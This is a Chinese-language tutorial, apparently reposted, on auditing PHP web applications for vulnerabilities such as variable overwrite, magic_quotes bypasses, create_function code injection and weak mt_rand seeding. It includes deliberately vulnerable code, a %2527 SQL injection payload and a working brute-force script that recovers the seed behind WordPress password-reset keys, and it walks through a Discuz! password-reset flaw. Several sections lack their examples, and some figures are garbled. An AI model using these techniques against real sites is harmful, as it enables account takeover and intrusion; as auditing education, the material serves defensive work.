高级PHP应用程序漏洞审核技术
SimplifiedChinese
高级PHP应用程序漏洞审核技术
- 高级PHP应用程序漏洞审核技术
前言
PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。
另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)
传统的代码审计技术
WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。
PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。
其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。
PHP版本与应用代码审计
到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:
php4 | 68% | 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9 |
php5 | 32% | 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!) |
php6 | 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围) |
由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。
其他的因素与应用代码审计
扩展我们的字典
下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。
变量本身的key
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
变量覆盖
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:
遍历初始化变量
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
parse_str()变量覆盖漏洞
漏洞审计策略(parse_str) |
PHP版本要求:无 系统要求:无 审计策略:查找字符parse_str |
漏洞审计策略(mb_parse_str) |
PHP版本要求:php4<4.4.7 php5<5.2.2 系统要求:无 审计策略:查找字符mb_parse_str |
import_request_variables()变量覆盖漏洞
漏洞审计策略(import_request_variables) |
PHP版本要求:php4<4.4.1 php5<5.2.2 系统要求:无 审计策略:查找字符import_request_variables |
PHP5 Globals
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
magic_quotes_gpc与代码安全
什么是magic_quotes_gpc
哪些地方没有魔术引号的保护
漏洞审计策略($_SERVER变量) |
PHP版本要求:无 系统要求:无 审计策略:查找字符_SERVER |
2) getenv()得到的变量(使用类似$_SERVER变量)
漏洞审计策略(getenv()) |
PHP版本要求:无 系统要求:无 审计策略:查找字符getenv |
3) $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc/webpublish功能里,请看如下代码:
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流) |
PHP版本要求:无 系统要求:无 审计策略:查找字符HTTP_RAW_POST_DATA或者php://input |
4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by
如Discuz!<5.0的pm.php:
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找数据库操作字符(select,update,insert等等) |
变量的编码与解码
base64_decode | 对使用 MIME base64 编码的数据进行解码 |
base64_encode | 使用 MIME base64 对数据进行编码 |
rawurldecode | 对已编码的 URL 字符串进行解码 |
rawurlencode | 按照 RFC 1738 对 URL 进行编码 |
urldecode | 解码已编码的 URL 字符串 |
urlencode | 编码 URL 字符串 |
... | ... |
另外一个 unserialize/serialize
3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
当magic_quotes_gpc=on时,我们提交?id=%2527,得到sql语句为:
SELECT * FROM article WHERE articleid='''
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找对应的编码函数 |
二次攻击
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
魔术引号带来的新的安全问题
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找字符串处理函数如substr或者通读代码 |
变量key与魔术引号
漏洞审计策略 |
PHP版本要求:php4和php<5.2.1 系统要求:无 审计策略:通读代码 |
2)当magic_quotes_gpc = Off时,在php5.24下测试显示:
aaaa'aaa
bb'b
对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}
function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:
Array
(
[aaa'aa] => 1\'
)
aaa'aa
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
代码注射
PHP中可能导致代码注射的函数
很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:
assert() |
call_user_func() |
call_user_func_array() |
create_function() |
变量函数 |
... |
这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等) |
变量函数与双引号
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
PHP自身函数漏洞及缺陷
PHP函数的溢出漏洞
漏洞审计策略 |
PHP版本要求:对应fix的版本 系统要求: 审计策略:查找对应函数名 |
PHP函数的其他漏洞
漏洞审计策略 |
PHP版本要求:php4<4.3 php5<5.14 系统要求:无 审计策略:查找unset |
session_destroy()删除文件漏洞
漏洞审计策略 |
PHP版本要求:具体不详 系统要求:无 审计策略:查找session_destroy |
随机函数
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找rand |
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手册里的描述:
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )
用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。
例子 1. mt_srand() 范例
<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:
mt_srand ((double) microtime() * 1000000)
但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破解,测试代码如下:
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:
seed-A |
mt_rand-A-1 mt_rand-A-2 mt_rand-A-3 |
seed-B |
mt_rand-B-1 mt_rand-B-2 mt_rand-B-3 |
对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:
第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()*1000000)),phpbb+wordpree组合就存在这样的危险.
第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.
在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1
$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }
if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
运行结果如下:
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
当10634次时候我们得到了结果。
当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。
从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。
很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)
漏洞审计策略 |
PHP版本要求:php4 php5<5.2.6 系统要求:无 审计策略:查找mt_srand/mt_rand |
特殊字符
其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:
截断
include截断
数据截断
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
文件操作里的特殊字符
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:文读取件操作函数 |
怎么进一步寻找新的字典
DEMO
DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt) |
PHP版本要求:php4 php5<5.2.6 系统要求: 无 审计策略:查找mt_srand/mt_rand |
第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = '';
./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40- if($attach['attachimg']) {
有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:
1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])
2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。
后话
附录
[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114
- 转载请注明来源:IT学习网 网址:http://www.t086.com/ 向您的朋友推荐此文章
- 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系我们,我们会尽快予以更正。